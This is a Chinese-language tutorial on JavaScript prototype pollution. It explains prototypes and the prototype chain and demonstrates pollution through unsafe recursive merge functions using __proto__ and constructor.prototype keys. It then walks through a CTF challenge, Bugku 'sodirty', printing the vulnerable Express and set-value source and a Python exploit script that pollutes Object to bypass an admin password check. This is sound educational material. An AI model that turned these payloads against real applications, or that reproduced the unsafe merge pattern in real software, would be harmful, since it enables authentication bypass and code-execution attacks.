背景
2019年初,Snyk的安全研究人员披露了流行的JavaScript库Lodash中一个严重漏洞的详细信息,该漏洞使黑客能够攻击多个Web应用程序,这个安全漏洞就是一个"原型污染漏洞"(JavaScript Prototype Pollution),攻击者可以利用该漏洞利用JavaScript编程语言的规则并以各种方式破坏应用程序。
原型与原型链
Javascript中一切皆是对象, 其中对象之间是存在共同和差异的,比如对象的最终原型是Object
的原型null
,函数对象有prototype
属性,但是实例对象没有。
-
原型的定义:
原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承
(1)所有引用类型(函数,数组,对象)都拥有
__proto__
属性(隐式原型(2)所有函数拥有
prototype
属性(显式原型)(仅限函数) -
原型链的定义:
原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。
-
原型对象:
在JavaScript中,声明一个函数A的同时,浏览器在内存中创建一个对象B,然后A函数默认有一个属性
prototype
指向了这个对象B,这个B就是函数A的原型对象,简称为函数的原型。这个对象B默认会有个属性constructor
指向了这个函数A。
-
实例对象:
我们可以通过构造函数A创建一个实例对象A,A默认会有一个属性
__proto__
指向了构造函数A的原型对象B。 -
关系
function Foo(){}; undefined let foo = new Foo(); undefined Foo.prototype == foo.__proto__ true
总结:
1.prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
2.一个对象的__proto__属性,指向这个对象所在的类的prototype属性
3、原型链机制
回顾一下构造函数、原型和实例的关系:
每个构造函数都有一个原型对象,原型对象都包含一个指向构造函数的指针,而实例都包含一个指向原型对象的内部指针。那么假如我们让原型对象等于另一个类型的实例,结果会怎样?显然,此时的原型对象将包含一个指向另一个原型的指针,相应地,另一个原型中也包含着一个指向另一个构造函数的指针。假如另一个原型又是另一个类型的实例,那么上述关系依然成立。如此层层递进,就构成了实例与原型的链条。这就是所谓的原型链的基本概念。------摘自《javascript高级程序设计》
感觉理解起来有点绕,不过引用图片可以很好理解。
这里person实例对象,Person.prototype是原型,原型通过
__proto__
访问原型对象,实例对象继承的就是原型及其原型对象的属性。继承的查找过程:
调用对象属性时, 会查找属性,如果本身没有,则会去
__proto__
中查找,也就是构造函数的显式原型中查找,如果构造函数中也没有该属性,因为构造函数也是对象,也有__proto__
,那么会去__proto__
的显式原型中查找,一直到null(很好说明了原型才是继承的基础)
原型链污染机制
javascript是种动态继承。与java两者的继承方式机制可以说完全不一样的,一个java是基于对象来继承, 一个javascript是基于原型来继承
javascript
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
Son类继承了Father类的last_name属性
对于对象son,在调用last_name的时候,JavaScript引擎会进行的操作如下:
在对象son中寻找last_name
如果找不到,就到son.__proto__中寻找last_name
还找不到,就到son.proto.__proto__中寻找last_name
就这样一直往上找,一直找到null宣告结束。比如,Object.prototype的__proto__就是null
我们修改下代码:
javascript
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
son.__proto__['add_name'] = 'hehehe'
let son1 = new Son();
console.log(`son Name: ${son.add_name} `)
console.log(`son1 Name: ${son1.add_name} `)
发现一个对象son修改自身的原型的属性的时候会影响到另外一个具有相同原型的对象son1,同理
当我们修改上层的原型的时候,底层的实例会发生动态继承从而产生一些修改。
我们真正修改的其实是原型prototype
原型链污染(利用手段)
在JavaScript发展历史上,很少有真正的私有属性,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致拒绝服务、篡改程序执行流程、导致远程执行代码等漏洞。
foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,就可以修改Foo类。
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
控制对象的 proto ,即可影响该实例的父类,那么要如何控制 proto 呢?
JS中针对对象的复制分为浅拷贝和深拷贝,简单来说:
浅拷贝 只是将指向对象的指针复制了过去,不论如何拷贝,这些拷贝都指向同一个引用,一旦被修改,所有引用都会变化;
深拷贝 则是要将目标对象完完全全的"克隆"一份,占据自己的内存空间。
实现深拷贝,一种常见的方式是:递归遍历需要复制对象的所有属性,并且全部赋值给新的空对象,实际上创建了一个新的对象。而浅拷贝就是引用。
原型链污染的发生主要有两种场景:不安全的对象递归合并和按路径定义属性。
我们先了解下什么情况下容易发生原型链污染
存在可控的对象键值
1.常发生在merge
等对象递归合并操作
2.对象克隆
3.路径查找属性然后修改属性的时候
这里做一个举例
- 对象merge
- 对象clone
以对象merge为例子,我们想象一个简单的merge函数
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?
let o1 = {} let o2 = {a: 1, "__proto__": {b: 2}} merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b)
//1 2
//undefined
虽然合并在了一起,但是并没一被污染。因为我们用JavaScript创建o2的过程(let o2 = {a: 1, "proto": {b: 2}})当中,__proto__被认为是o2本对象的原型,此时又会遍历o2的所有键名,拿到的是a和b两个键,__proto__并不是一个key,自然也不会修改Object的原型(我们自己创建的对象都是以Object为原型创建来的)
let o1 = {}
let o2 = JSON.parse('{"a": 1, "proto": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
//1 2
//2
此时利用JSON.parse方法,这个方法可以将JSON字符串解析为值或对象。所以在JSON解析的情况下,__proto__会被认为是一个真正的"键名",而不代表"原型",所以在遍历o2的时候会存在这个键。
这样的话__proto__
才会被当作一个JSON格式的字符串被解析成键值,而不是上面之间被解析成了一个属性值。
再看个demo
上面那个是通过__proto__来实现漏洞,还有另一种方式:重载构造函数
当我们将constructor和prototype嵌套作为键名的时候
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = JSON.parse('{"constructor": {"prototype": {"hello": 1}}}')
merge({},o1)
let o2 = {}
console.log(o2.hello)
//1
实例 constructor 的 prototype ,和实例的__proto__指向一致。由于 merge 操作的解析是递归的,这种方式同样也会污染 Object
例题:Bugku-sodirty
打开题目后仅有一个注册按键,点击后显示创建成功。
扫描网站,扫出一个www.zip文件
发现有网站的源码下载下来看看
javascript
var express = require('express');
const setFn = require('set-value');
var router = express.Router();
const Admin = {
"password":process.env.password?process.env.password:"password"
}
router.post("/getflag", function (req, res, next) {
if (req.body.password === undefined || req.body.password === req.session.challenger.password){
res.send("登录失败");
}else{
if(req.session.challenger.age > 79){
res.send("糟老头子坏滴很");
}
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag ? process.env.flag : "flag{test}");
}else {
res.send("密码错误,请使用管理员用户名登录.");
}
}
});
router.get('/reg', function (req, res, next) {
req.session.challenger = {
"username": "user",
"password": "pass",
"age": 80
}
res.send("用户创建成功!");
});
router.get('/', function (req, res, next) {
res.redirect('index');
});
router.get('/index', function (req, res, next) {
res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');
});
router.post("/update", function (req, res, next) {
if(req.session.challenger === undefined){
res.redirect('/reg');
}else{
if (req.body.attrkey === undefined || req.body.attrval === undefined) {
res.send("传参有误");
}else {
let key = req.body.attrkey.toString();
let value = req.body.attrval.toString();
setFn(req.session.challenger, key, value);
res.send("修改成功");
}
}
});
module.exports = router;
对应网页有着不同功能,有一个登陆的路由/getflag,/reg
能够默认创建一个字典,/update
能够修改新的数据,/getflag
是取得flag的地方。
如果要进行修改,需要:
首先要有req.session.challenger
用attrkey,attrval以post的形式传参,传参的结果以键值对的形式存在。
如果要取得flag,需要:
post传参
修改password
age参数小于79
admin中存在完好键值对
在满足其他条件的同时,使用原型链污染,让Object对象有一个属性,这样就可以利用那个属性进行登录。
所以我们先在路由:"/reg"注册一个用户
这里创建的用户默认age=80,需要修改
然后利用路由:"/update",去修改我们的信息,去把年龄修改为小于79岁,并且利用原型链把admin的密码和我们注册的用户的密码修改成一样:
先修改age:
修改密码和admin一致:
然后登陆获取flag:
或者直接用脚本
python
import requests
import random
s = requests.session() # 保持会话
def reg(url):
url = url + "reg"
r = s.get(url)
print(r.text)
def update(url, data):
url = url + "update"
print(url)
r = s.post(url, data=data)
print(r.text)
def getflag(url, data):
url = url + "getflag"
r = s.post(url, data=data)
print(r.text)
url = "http://114.67.175.224:11990/"
reg(url) #先取得req.session.changer
data = {"attrkey": "age", "attrval": "30"}
update(url, data) #post对年龄进行更新
data = {"attrkey": "__proto__.pwd", "attrval": "222"}
update(url, data) # 原型链污染,Object有了这样一个属性
data = {"password": "222", "key": "pwd"}
getflag(url, data) # 利用污染的进行登录
参考博客:
浅析javascript原型链污染攻击 - 先知社区 (aliyun.com)
深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)